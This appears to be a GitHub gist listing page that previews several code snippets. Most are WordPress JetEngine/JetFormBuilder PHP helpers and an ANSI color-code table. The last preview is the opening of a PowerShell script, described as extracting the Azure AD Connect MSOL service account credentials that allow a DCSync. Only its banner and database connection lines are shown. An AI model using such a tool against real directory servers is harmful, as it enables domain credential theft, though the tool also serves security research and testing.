Skip to content

Instantly share code, notes, and snippets.

View aayla-secura's full-sized avatar

Yangren aayla-secura

View GitHub Profile
@MjHead
MjHead / get-realtion-meta.php
Created August 17, 2022 07:59
Get meta data from JetEngine relations from the code
<?php
$rel_id = 111; // Set here your actual Relation ID. You can get it from an address bar on relation settings edit page
$relation = jet_engine()->relations->get_active_relations( $rel_id );
$parent_id = 111; // ID of prequired arent object from relation
$child_id = 111; // ID of prequired arent object from relation
$key = 'meta_key'; // Name/ID of meta field to get
$meta_value = $relation->get_meta( $parent_id, $child_id, $key );
@Crocoblock
Crocoblock / custom-dynamic-field-callback.php
Last active May 6, 2025 19:18
JetEngine Dynamic Field add custom callback (for example, add callback that partially masks an email with * or other symbols)
<?php
//filter to add a callback to the list
add_filter( 'jet-engine/listings/allowed-callbacks', 'add_custom_dynamic_field_callbacks' );
//filter to specify which arguments will the callback have
add_filter( 'jet-engine/listing/dynamic-field/callback-args', 'add_custom_dynamic_field_callbacks_args', 0, 3 );
//filter to add controls
//controls arguments are set as in Elementor controls
@Crocoblock
Crocoblock / get-meta.php
Last active May 8, 2025 17:36
Get current JetEngine listing object meta value ( somewhat similar to ACF get_field() )
<?php
//You may just use get_post_meta() / get_term_meta() / get_user_meta() to get post/term/user meta
//However, in Listing Grid, you may use get_meta() method for convenience
$value = jet_engine()->listings->data->get_meta( $meta_key, $object );
/**
* Get object meta value. Works for Posts, Terms, Users, Comments
* $object defaults to null, then the value will be retrieved from the current listing object
@MjHead
MjHead / get-jet-engine-meta-fields.php
Last active June 11, 2024 15:07
JetEngine. Get registered meta fields by given context - post type, taxonomy or user
<?php
/**
* Get fields for the given context and object
* Should be called on hook 'init' with priority 11 or later
*/
// Fields for Post post type
$post_fields = jet_engine()->meta_boxes->get_fields_for_context( 'post_type', 'post' );
// Fields for Product post type
@MjHead
MjHead / include-class.php
Created November 26, 2021 11:48
JetEngine. Custom macros registration with class
<?php
/**
* Note! Always include mcros file only on 'jet-engine/register-macros' hook - before base class is not avaialable,
* after - all macros already registered and you can't insert a new one.
*/
add_action( 'jet-engine/register-macros', function() {
require_once get_theme_file_path( 'macros.php' );
new My_JE_Macros();
} );
@MjHead
MjHead / form-custom-hook.php
Created September 19, 2021 08:07
JetFormBuilder. Example of custom hook with API request and redirect.
<?php
/**
* 'api-request' - is a customm hook name
*/
add_action( 'jet-form-builder/custom-action/api-request', function( $request, $action_handler ) {
$post_id = ! empty( $request['inserted_post_id'] ) ? $request['inserted_post_id'] : false;
if ( ! $post_id ) {
return;
@Prakasaka
Prakasaka / bash-colors.md
Created July 25, 2020 09:14 — forked from JBlond/bash-colors.md
The entire table of ANSI color codes.

Regular Colors

Value Color
\e[0;30m Black
\e[0;31m Red
\e[0;32m Green
\e[0;33m Yellow
\e[0;34m Blue
\e[0;35m Purple
function __prefix__add_relation_meta( $post_id, $meta_key, $related_posts = array() ) {
$relation = jet_engine()->relations->get_relation_info( $meta_key );
if ( ! $relation ) {
return;
}
if ( empty( $related_posts ) ) {
jet_engine()->relations->data->delete_all_related_meta( $meta_key, $post_id );
@xpn
xpn / azuread_decrypt_msol_v2.ps1
Last active May 8, 2025 15:33
Updated method of dumping the MSOL service account (which allows a DCSync) used by Azure AD Connect Sync
Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
Write-Host "`t[ Updated to support new cryptokey storage method ]`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb..."
return